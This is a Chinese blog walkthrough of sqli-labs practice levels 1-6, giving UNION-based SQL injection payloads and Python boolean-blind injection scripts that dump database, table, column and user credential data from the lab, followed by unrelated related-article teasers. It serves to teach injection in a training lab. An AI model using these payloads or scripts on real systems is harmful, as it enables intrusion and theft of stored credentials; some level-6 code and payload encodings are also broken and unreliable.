sqli-labs靶场(1-6关)

news2024/9/25 11:17:39

1、第一关

测试id=1

id=1'加一个引号报错,两个引号正常,应该是字符,还有回显

猜测字段长度

id=1' order by 3 --+

id=1' order by 4 --+

字段长度为三,接下来确定位置:id=1' and 1=2 union select 1,2,3 --+

查出库名,及版本号id=1' and 1=2 union select 1,database(),version() --+

接下来爆出所有表名

id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

猜测账号密码应该在users表中,爆出所有字段

id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

接下来爆出所有账号

id=1' and 1=2 union select 1,2,group_concat(id,':',username,'>',password) from users--+

2、第二关

id=1,加单引号报错,双引号不报错,应该也是数字型注入

select * from userswhere id=$id' limit 0,1报错

select * from userswhere id=$id limit 0,1不报错

,接下来和第一关一样

id=1 and 1=2 union select 1,2,3 --+ 猜测查询字段长度

id=1 and 1=2 union select 1,database(),version() --+ 查出库名,及版本号

id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆出所有表名

id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 爆出所有字段

id=1 and 1=2 union select 1,2,group_concat(id,':',username,'>',password) from users--+ 爆出所有账号

3、第三关

id=1'时报错,看到有括号,应该给他闭合

id=1') --+

接下来和第一关差不多

id=1') and 1=2 union select 1,2,3 --+ 猜测查询字段长度

id=1') and 1=2 union select 1,database(),version() --+ 查出库名,及版本号

id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆出所有表名

id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 爆出所有字段

id=1') and 1=2 union select 1,2,group_concat(id,':',username,'>',password) from users--+ 爆出所有账号

4、第四关

id=1"根据报错猜测应该是双引号加括号闭合

接下来步骤类似第一关

id=100") union select 1,2,3 --+ 猜测查询字段长度

id=100") union select 1,database(),version() --+ 查出库名,及版本号

id=100") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆出所有表名

id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 爆出所有字段

id=100") union select 1,2,group_concat(id,':',username,'>',password) from users--+ 爆出所有账号

5、第五关

id=1显示如下

id=1'会报错

id=100不显示

初步猜测应该是布尔注入

先试试能否爆出数据库长度

id=1' and length(database())>0--+

初步判断数据库长度应该是8

接下来尝试爆库id=1 and substr(database(),1,1)="a" --+

一个位置一个位置爆

爆出第一个位置是s,8次就可爆出,也可以利用脚本爆库security

import requests


def get_database(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr(database(),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        print(cha)


if __name__ == '__main__':
    for po in [1, 2, 3, 4, 5, 6, 7, 8]:
        for cha in [chr(97 + i) for i in range(26)]:
            get_database(po, cha)

接下来爆出所有表名

id=1%27%20and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{po},1)=\"{cha}\"%20--+
def get_all_tables(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        if cha == ',':
            print("==========================================================================")
        else:
            print(cha, end='')

if __name__ == '__main__':
    # 假设所有表名长度之和100
    list = [chr(97 + i) for i in range(26)]
    list2 = [","]+list
    for po in range(100):
        for cha in list2:
            get_all_tables(po, cha)

接着爆users表里的字段

http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{po},1)=\"{cha}\"%20--+
def get_all_columns(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        if cha == ',':
            print(",", end='')
        else:
            print(cha, end='')


if __name__ == '__main__':
    # 假设所有字段名长度之和500
    list = [chr(97 + i) for i in range(26)]
    list2 = [","]+list
    for po in range(500):
        for cha in list2:
            get_all_columns(po, cha)

接下来就是爆出所有账号密码

http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(username,'>',password) from users),{po},1)=\"{cha}\"%20--+
def get_all_username_password(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(username,'>',password) from users),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        if cha == ',':
            print(",", end='')
        else:
            print(cha, end='')


if __name__ == '__main__':
    list = [chr(97 + i) for i in range(26)]
    list2 = [1, 2, 3, 4, 5, 6, 7, 8, 9, ",", ">", "-"]+list #这里可以吧各种字符都加上
    for po in range(500):
        for cha in list2:
            get_all_username_password(po, cha)

6、第六关

http://sqli.labs/Less-6/?id=1"双引号报错

这关与第五关类似,只是单引号改成双引号,正确的反馈长度是702

先爆库

http://sqli.labs/Less-6/?id=1%22%20and%20substr(database(),{p},1)=%22{a}%22%20--+
def get_database_name(p, a):
    url = f"http://sqli.labs/Less-6/?id=1%22%20and%20substr(database(),{p},1)=%22{a}%22%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 702:
        if cha == ',':
            print(",", end='')
        else:
            print(cha, end='')


if __name__ == '__main__':
    list = [chr(97 + i) for i in range(26)]
    list2 = [1, 2, 3, 4, 5, 6, 7, 8, 9, ",", ">", "-"]+list #这里可以吧各种字符都加上
    for po in range(20):
        for cha in list2:
            get_database_name(po, cha)

接下来步骤和第五关类似,只要把单引号改成双引号,返回内容长度改成702即可

%27是单引号,%22是双引号,%20是空格

爆表名POC:id=1%22%20and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{po},1)=22%{cha}22%%20--+

爆users表里的字段POC:id=1%22%20and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{po},1)=22%{cha}22%%20--+

爆出所有账号密码POC:id=1%22%20and%20substr((select group_concat(username,'>',password) from users),{po},1)=22%{cha}22%%20--+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1415069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用C语言实现贪吃蛇游戏!!!(破万字)

前言 大家好呀,我是Humble,不知不觉在CSND分享自己学过的C语言知识已经有三个多月了,从开始的C语言常见语法概念说到C语言的数据结构今天用C语言实现贪吃蛇已经有30余篇博客的内容,也希望这些内容可以帮助到各位正在阅读的小伙伴…

深度学习(6)--Keras项目详解

目录 一.项目介绍 二.项目流程详解 2.1.导入所需要的工具包 2.2.输入参数 2.3.获取图像路径并遍历读取数据 2.4.数据集的切分和标签转换 2.5.网络模型构建 2.6.绘制结果曲线并将结果保存到本地 三.完整代码 四.首次运行结果 五.学习率对结果的影响 六.Dropout操作…

N-141基于springboot,vue网上拍卖平台

开发工具:IDEA 服务器:Tomcat9.0, jdk1.8 项目构建:maven 数据库:mysql5.7 系统分前后台,项目采用前后端分离 前端技术:vueelementUI 服务端技术:springbootmybatis-plusredi…

一张图区分Spring Task的3种模式

是的,只有一张图: fixedDelay 模式cron 模式fixedRate 模式

2024/1/28周报

文章目录 摘要Abstract文献阅读题目引言方法The ARIMA modelTime delay neural network (TDNN) modelLSTM and DLSTM model 评估准则实验数据描述实验结果 深度学习AttentionAttention思想公式步骤 Attention代码实现注意力机制seq2seq解码器Model验证 总结 摘要 本周阅读了一…

腾讯云幻兽帕鲁4核16G/8核32G/16核64G服务器配置价格表

腾讯云幻兽帕鲁服务器4核16G、8核32G和16核64G配置可选,4核16G14M带宽66元一个月、277元3个月,8核32G22M配置115元1个月、345元3个月,16核64G35M配置580元年1个月、1740元3个月、6960元一年,腾讯云百科txybk.com分享腾讯云幻兽帕鲁…

uniapp组件库fullScreen 压窗屏的适用方法

目录 #平台差异说明 #基本使用 #触发压窗屏 #定义压窗屏内容 #注意事项 所谓压窗屏,是指遮罩能盖住原生导航栏和底部tabbar栏的弹窗,一般用于在APP端弹出升级应用弹框,或者其他需要增强型弹窗的场景。 警告 由于uni-app的Bug&#xff0…

深度强化学习(王树森)笔记04

深度强化学习(DRL) 本文是学习笔记,如有侵权,请联系删除。本文在ChatGPT辅助下完成。 参考链接 Deep Reinforcement Learning官方链接:https://github.com/wangshusen/DRL 源代码链接:https://github.c…

探索IOC和DI:解密Spring框架中的依赖注入魔法

IOC与DI的详细解析 IOC详解1 bean的声明2 组件扫描 DI详解 IOC详解 1 bean的声明 IOC控制反转,就是将对象的控制权交给Spring的IOC容器,由IOC容器创建及管理对象。IOC容器创建的对象称为bean对象。 要把某个对象交给IOC容器管理,需要在类上…

基于springboot+vue的在线教育系统(前后端分离)

博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容:毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目背景…

如何看待程序员抄代码还拿着高薪这一说法?

程序员的工资构成:会复制粘贴值1块,知道去哪复制值5K,知道粘贴在哪值10K,粘贴完了能跑起来值15 有人说:能带领一伙人复制粘贴值20k。 有人说:能写一个自动复制粘贴的系统值30k。 有人纳闷问到&#xff1a…

兄弟DCP-7057黑白激光多功能一体机加粉后清零方法

硒鼓加粉机器上清零,方法如下: 打开安装硒鼓的前盖。按“清除”键,显示“更换硒鼓”。不用管提示,接着按“启用Start”,再按“”,屏幕上显示“01”。继续按“”,直到屏幕上显示“11”。按“OK”…

【C/C++】C/C++编程——变量和常量

文章目录 变量变量的声明变量命名规则变量的类型 常量常量的定义与初始化字面量常量整型常量浮点型常量字符常量常量表达式(constexpr) 大家好,我是 shopeeai,也可以叫我虾皮,中科大菜鸟研究生。今天我们来一起来学习C…

软考之项目管理

一、考点分布 盈亏平衡分析(※)进度管理(※※※)软件质量管理(※※)软件配置管理(※※) 二、盈亏平衡分析 正常情况下,销售额固定成本可变成本税费利润 盈亏平衡下&#…

微信朋友圈新功能:多账号同步发圈,定时发圈!

​你是否会有这种烦恼 想要发布一条朋友圈,但是却因为忙着搞其他事情无暇顾及,甚至忘记了需要发布朋友圈这个事情? 有多个微信号想要同时为它们发布同一条内容的朋友圈,但又不想要分别登录进去进行操作? 你是否厌倦了每…

算法刷题:p1387 最大正方形

解题思路: 利用动态规划的思想设置一个标记数组flag[][],flag[i][j]用来记录矩阵op[][]中以op[i][j]为右下角的子矩阵中最大的正方形边长,那么动态方程就是 flag[i][j]min(flag[i-1][j],min(flag[i-1][j-1],flag[i][j-1]))1;左侧和上方以及左…

Java基础—面向对象OOP—17类与对象(创建、构造器、创建对象时简单内存分析)

把握重点,重点已标注,这篇笔记分了4个章节,重点看二、三、四 一、整体思维--重点把握面向对象的本质和特点 1、面向对象编程OOP: Object-Oriented programming 2、面向过程与面向对象 面向过程:线性思维 面向对象…

k8s从初识到上天系列第二篇:kubernetes的组件和架构

😉😉 欢迎加入我们的学习交流群呀! ✅✅1:这是孙哥suns给大家的福利! ✨✨2:我们免费分享Netty、Dubbo、k8s、Mybatis、Spring、SpringSecurity、Docker、Grpc、各种MQ、Rpc、SpringCloud等等很多应用和源码…

【word visio绘图】关闭visio两线交叉的跳线(跨线)

【visio绘图】关闭visio两线交叉的跳线(跨线) 1 如何在Visio绘图中关闭visio两线交叉的跳线(跨线)第一步:打开Visio并创建您的图形第二步:绘制您的连接线第三步:关闭跳线第四步:手动…

用友U8接口-获取token数据字段(2)

概括 本文的操作需要正确部署U8HttpApi ,绑定IIS端口获取erp账套信息获取token访问令牌传入JSON的参数如何设置 账套数据库 方式一 查看数据库,UFDATA开头的 方式二 调用接口 此接口返回所有erp账套数据库信息 Token 访问有鉴权的接口&#x…